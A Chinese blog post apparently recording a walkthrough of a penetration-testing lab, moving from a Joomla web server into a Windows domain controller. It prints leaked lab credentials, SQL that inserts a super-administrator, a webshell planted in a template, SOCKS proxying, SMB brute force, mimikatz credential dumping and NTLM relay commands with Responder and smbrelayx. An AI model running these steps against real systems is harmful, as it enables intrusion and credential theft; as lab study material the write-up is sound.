MENU

红日安全靶场三

September 28, 2022 • Read: 1247 • Web

红日安全靶场一学习记录

环境搭建及配置

靶场下载地址:http://39.98.79.56/vuln/detail/5/
靶场拓扑图:
Pasted image 20220824135718.png
靶机密码:黑盒测试
目标:域控中存在一份重要文件。
下完之后的需要的配置:
打开虚拟机镜像为挂起状态,第一时间进行快照,部分服务未做自启,重启后无法自动运行。
挂起状态,账号已默认登陆,centos为出网机,第一次运行,需重新获取桥接模式网卡ip。service network restart
除重新获取ip,不建议进行任何虚拟机操作。
若是Mac的话,重新设置一下网卡2,设置为主机模式即可,否则网络之间ping不通
Pasted image 20220824142945.png

外网渗透

获取到ip:192.168.197.151
目标开放端口:22 80 3306
Pasted image 20220824140616.png

目录扫描扫出敏感信息

Pasted image 20220824151454.png

可以得到phpinfo页面,得知网站的绝对路径是/var/www/html/
Pasted image 20220824180123.png

得到数据库testuser密码

在暴露出的configuration.php中得到了数据库的密码
testuser/cvcvgjASD!@
Pasted image 20220824175909.png

于是连接了但是发现只是一个普通的用户,虽然mysql配置文件可以导出到任意目录,并且已知了网站的绝对路径。但任然是无法进行写shell操作。暂且放下。

msf收集版本信息

search joomla 使用扫描版本的exp进行扫描,得到版本号为3.9.12。于是开始疯狂的寻找相关的EXP,这里花费了差不多两个小时在寻找和测试过程中,发现这个RCE都需要管理员用户进行提权成超级管理员用户。然而并没有找到默认的admin管理员用户,于是开始找有无重置密码的漏洞或者是身份绕过的,发现还真有但是没公开poc。。。

CVE-2020-11890<3.9.17远程命令执行漏洞
CVE-2020-10238 <= 3.9.15 远程命令执行漏洞
CVE-2020-10239 3.7.0-3.9.15远程命令执行漏洞
CVE-2021-23132 3.0.0 <= Joomla! <= 3.9.24
![[Pasted image 20220824160958.png]]
![[Pasted image 20220824161144.png]]

峰回路转mysql

找了很久无果后,回到了mysql的testuser用户中,想要看看加盐的密码能不能破解出来,无意中发现了官方的重置密码,可以添加新用户
https://docs.joomla.org/How_do_you_recover_or_reset_your_admin_password%3F/zh-cn
可以添加admin2用户,密码为secret。

INSERT INTO `am2zu_users`
   (`name`, `username`, `password`, `params`, `registerDate`, `lastvisitDate`, `lastResetTime`)
VALUES ('Administrator2', 'admin2',
    'd2064d358136996bd22421584a7cb33e:trd7TvKHx6dMeoMmBVxYmg0vuXEA4199', '', NOW(), NOW(), NOW());
INSERT INTO `am2zu_user_usergroup_map` (`user_id`,`group_id`)
VALUES (LAST_INSERT_ID(),'8');

然后成功登录,便可以用上面的exp打了。剩下的就是传一个马,蚁剑连接然后进行内网渗透。
Pasted image 20220824183101.png

disable_function绕过

成功获得shell之后,发现执行命令无效。于是使用新建的超级管理员hk/12345678 登录之后在模板文件error.php手动添加一句话木马
http://xxx/administrator/index.php?option=com_templates&view=template&id=503&file=L2Vycm9yLnBocA%3D%3D
Pasted image 20220825135541.png

http://XXX/templates/beez3/error.php 可以成功登录蚁剑,
但是执行命令会显示
Pasted image 20220825140350.png
经查询是disable_fuctions禁用了一些危险的函数,
Pasted image 20220825140507.png
exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source

exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_sourc

解决办法,使用蚁剑的插件成功绕过
具体的一些原理可看:https://xz.aliyun.com/t/10057
基本思路都是找一些别的命令函数去执行,或者是调用一些底层的库啥的。

内网渗透

centos信息收集

由于msf没上线成功,这里就是用fscan来快速扫描内网资产
这里因为disable_fuctions的原因,貌似出错或者是某些结果无法回显到终端,导致以为一直无法执行。后来把结果都写进一个txt,再查看即可发现扫描结果。
Pasted image 20220825162635.png

start infoscan
已完成 0/0 listen ip4:icmp 0.0.0.0: socket: operation not permitted
trying RunIcmp2
The current user permissions unable to send icmp packets
start ping
(icmp) Target 192.168.93.10   is alive
(icmp) Target 192.168.93.20   is alive
(icmp) Target 192.168.93.30   is alive
(icmp) Target 192.168.93.100  is alive
(icmp) Target 192.168.93.120  is alive
[*] Icmp alive hosts len is: 5

[+]DC TEST\WIN-8GA56TNV3MV   Windows Server 2012 R2 Datacenter 9600
192.168.93.10:88 open
192.168.93.10:135 open
192.168.93.10:139 open
192.168.93.10:445 open

TEST\WIN2008           Windows Server (R) 2008 Datacenter 6003 Service Pack 2
192.168.93.20:80 open
192.168.93.20:135 open
192.168.93.20:139 open
192.168.93.20:445 open
192.168.93.20:1433 open

WIN7              Windows 7 Professional 7601 Service Pack 1
192.168.93.30:139 open
192.168.93.30:135 open
192.168.93.30:445 open

192.168.93.120:80 open
192.168.93.100:80 open
192.168.93.120:22 open
192.168.93.100:22 open
192.168.93.120:3306 open
192.168.93.100:3306 open


192.168.93.120:7000 open


192.168.93.120:7001 open
192.168.93.100:8888 open
[*] alive ports len is: 21
start vulscan
[+] NetInfo:
[*]192.168.93.10
   [->]WIN-8GA56TNV3MV
   [->]192.168.93.10
[+] NetInfo:
[*]192.168.93.20
   [->]win2008
   [->]192.168.93.20
[*] WebTitle:http://192.168.93.20      code:404 len:315    title:Not Found
[+] NetInfo:
[*]192.168.93.30
   [->]win7
   [->]192.168.93.30
[*] 192.168.93.20        TEST\WIN2008           Windows Server (R) 2008 Datacenter 6003 Service Pack 2
[*] 192.168.93.20  (Windows Server (R) 2008 Datacenter 6003 Service Pack 2)
[*] 192.168.93.30        __MSBROWSE__\WIN7              Windows 7 Professional 7601 Service Pack 1
[*] 192.168.93.10  [+]DC TEST\WIN-8GA56TNV3MV   Windows Server 2012 R2 Datacenter 9600
[*] 192.168.93.10  (Windows Server 2012 R2 Datacenter 9600)
[*] 192.168.93.30  (Windows 7 Professional 7601 Service Pack 1)
[*] WebTitle:http://192.168.93.120     code:200 len:16768  title:Home
[*] WebTitle:http://192.168.93.100     code:200 len:16768  title:Home
[+] mysql:192.168.93.120:3306:root 123
[+] mysql:192.168.93.100:3306:root 123
已完成 19/21 [-] ssh 192.168.93.120:22 root 12345678 ssh: handshake failed: ssh: unable to authenticate, attempted methods [none password], no supported methods remain
已完成 19/21 [-] ssh 192.168.93.120:22 root sysadmin ssh: handshake failed: ssh: unable to authenticate, attempted methods [none password], no supported methods remain
已完成 19/21 [-] ssh 192.168.93.100:22 admin admin123!@# ssh: handshake failed: ssh: unable to authenticate, attempted methods [none password], no supported methods remain
已完成 19/21 [-] ssh 192.168.93.120:22 admin admin@123 ssh: handshake failed: ssh: unable to authenticate, attempted methods [none password], no supported methods remain
已完成 21/21
[*] 扫描结束,耗时: 3m30.897160515s

发现数据库密码 root/123 并且100段也存在网站

/tmp中关键的敏感文件

随后一直尝试进行msf上线或者frp代理转发渗透到100段,但由于disable-functions的原因,无法执行一些命令,就没啥进展。去看了一下网上的解题思路才发现要到/tmp/mysql目录下有一个新建用户的敏感文件
wwwuser/wwwuser_123Aqx
Pasted image 20220829143600.png

Pasted image 20220829143957.png

ew代理横向

由于msf的代理不太稳定,因此使用ew
./ew_for_linux64 -s ssocksd -l 1080 简单的设置一个151外网机器的代理,进行渗透

解法1 SMB爆破

  1. 使用msf中的auxiliary/scanner/smb/smb_login模块进行爆破
    smb爆破出密码192.168.93.20、192.168.93.30的密码administrator/123qwe!ASD
  2. smb登录进win2008或win7,并且定位域控,确定为93.10
    Pasted image 20220831224509.png
  3. 从win2008的进程中发现域管进程,于是可以使用msf中的kiwi进行密码抓取,成功获得域管密码zxcASDqw123!!
    Pasted image 20220927003606.png

Pasted image 20220927003630.png

smb登录,最后查找出域控隐藏的flag
dir /s /b \\192.168.93.10\c$\flag.txt 更多必备cmd可看 #cmd敏感信息
Pasted image 20220927004419.png

解法2 NTLM Relay攻击

使用外网信息泄露的mysql密码testuser\cvcvgjASD!@ 进行测试发现,也是内网93.20的SQL server的密码。但由于权限不够无法执行xp-cmdshell。但是可以执行xp_dirtree 进行ntlm的中继攻击。
使用msf中的mssql_ntlm——stealer,进行攻击。记得设置smbproxy为Responder监听地址即可

Pasted image 20220925234610.png

然后使用命令python Responder.py -i 192.168.93.100 即可捕捉到ntlm hash。最后使用john进行爆破密码,这里最好使用python3运行Responder,不然最新版可能有点问题!!!

Pasted image 20220925223817.png

当字典足够强大的时候,可以爆出密码123qwe!ASD
Pasted image 20220925233001.png

若是无法爆破密码,则可以使用MultiRelay进行重放net-ntlm hash给win7,若两者密码一样,则可以成功转发取得shell

具体命令,python MultiRelay.py -t 重放的目标 -u ALL

Pasted image 20220926173239.png
Pasted image 20220926182259.png

解法3 钓鱼

**原理简述:
该钓鱼方法实则也是ntlm重放攻击的变种,主要原理是构造一个恶意的smb服务器,使域内或者工作组内的机器访问该网址会弹出一个类似UNC认证的东西,然后用户输入密码之后使用impact中的smbrelay.py能够捕获到net-hash,并进行转发到其他机器获得shell

具体操作

  1. 使用msf生成一个正向马,可以使用smbrelay中的-e参数进行传递上线
  2. msf监听的时候,记得使用自动迁移,因为smbrelay将木马上线后会立即删除,若是不进行自动迁移,则会导致权限丢失。
    命令 set autorunscript post/windows/manage/migrate

Pasted image 20220927000128.png

  1. 使用./smbrelayx.py -h 重放目标 -e 木马路径 进行监听
    Pasted image 20220927000304.png
  2. 取得shell,发现存在域管进程,使用mimikatz得到域控密码。

!!!
在这个实验中尤其需要注意的是,smbrelay默认是用域内用户的身份认证的,而该靶场中win2008没有域用户,因此登录的时候需要用户名需为WIN2008\administrator

Pasted image 20220926235615.png

Pasted image 20220926222202.png

Pasted image 20220926230155.png

成功获得hash和反弹shell
Pasted image 20220927000440.png

Pasted image 20220926234544.png

总结

总的来说,这个靶场让我学到了很多东西。

  1. 在外网中学习到了取得一个数据库后可以干啥,如果管理员密码加密了无法解密,还尝试官方是否存在SQL直接修改密码的操作
  2. 提权中学习到了,传输脏牛提取文件时最好是本地上传或者是传输压缩包的形式,不然容易出现c源码的丢失导致无法生成提权二进制文件
  3. 内网横向中学习到了ntlm 重放攻击。特别是内网中存在普通用户的mssql服务时,亦或是可以拿到内网部分执行权限,可执行ping dir 等解析主机的命令都可
Leave a Comment

本站总访问量 32655 次
2 Comments
  1. 解法2哪里,你为什么打的是192.168.197.157:1433,然后msf配置的是192.168.93.20:1433??

    1. @随心这个ntlm stealer 很依赖网络。事后为了快速复现直接使用了双网卡,所以msf配的是那个